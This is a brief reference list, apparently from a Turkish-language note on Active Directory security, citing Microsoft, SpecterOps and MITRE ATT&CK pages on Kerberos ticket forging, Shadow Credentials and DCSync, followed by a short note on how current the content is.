[MS-ADTS]§6.1.6.7.9 trustAttributes: learn.microsoft.com - SpecterOps, Shadow Credentials: posts.specterops.io
- MITRE ATT&CK, Steal or Forge Kerberos Tickets (T1558): attack.mitre.org/techniques/T1558
- MITRE ATT&CK, OS Credential Dumping: DCSync (T1003.006): attack.mitre.org/techniques/T1003/006
Bu teknik not ne kadar güncel?
En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.
Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.

